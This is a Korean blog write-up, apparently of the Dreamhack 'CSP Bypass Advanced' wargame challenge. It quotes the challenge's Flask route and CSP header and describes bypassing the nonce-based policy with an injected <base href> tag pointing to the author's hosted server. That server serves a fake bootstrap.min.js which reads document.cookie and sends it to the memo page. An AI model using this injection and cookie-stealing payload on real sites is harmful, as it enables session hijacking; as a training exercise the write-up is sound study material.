본문 바로가기

웹해킹

드림핵 CSP Bypass Advanced 롸업

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return render_template("vuln.html", param=param, nonce=nonce)

flag, memo 등의 페이지는 이전 문제와 동일하지만

vuln 페이지에서 return param으로 그대로 실행하던 것이 render_template으로 바뀌었다.

@app.after_request
def add_header(response):
    global nonce
    response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'; object-src 'none'"
    nonce = os.urandom(16).hex()
    return response

그리고 CSP에서 object-src 'none'이 추가되었다.

 

base 태그를 이용해야 할 것 같다.

base태그로 base url을 바꿔서 static/js/bootstrap.min.js 파일을 실행시키면 내가 만든 서버 안에 있는 js 파일을 실행시킬 수 있다. 서버를 실행시키기 위해서 구름 ide를 이용하였다.

이렇게 bootstrap.min.js 파일을 만들고 

location.href = "http://127.0.0.1:8000/memo?memo="+document.cookie 를 작성하였다.

 

이렇게 준비를 했으면 flag페이지에서

<base href="https://webflask-ndyxa.run.goorm.site/">

를 입력하면

memo 페이지에 이렇게 flag가 나온다.

 

base url을 바꿔서 같은 이름의 파일을 만들어서 푸는게 개인적으로 지금까지 풀어본 문제 중에 가장 신기했던 것 같다.

'웹해킹' 카테고리의 다른 글

드림핵 CSRF Advanced 롸업  (0) 2023.11.26
CSRF/CORS Bypass  (0) 2023.11.26
드림핵 CSP Bypass 롸업  (0) 2023.11.25
Content Security Policy & CSP Bypass  (0) 2023.11.24
드림핵 XSS Filtering Bypass Advanced 롸업  (0) 2023.11.21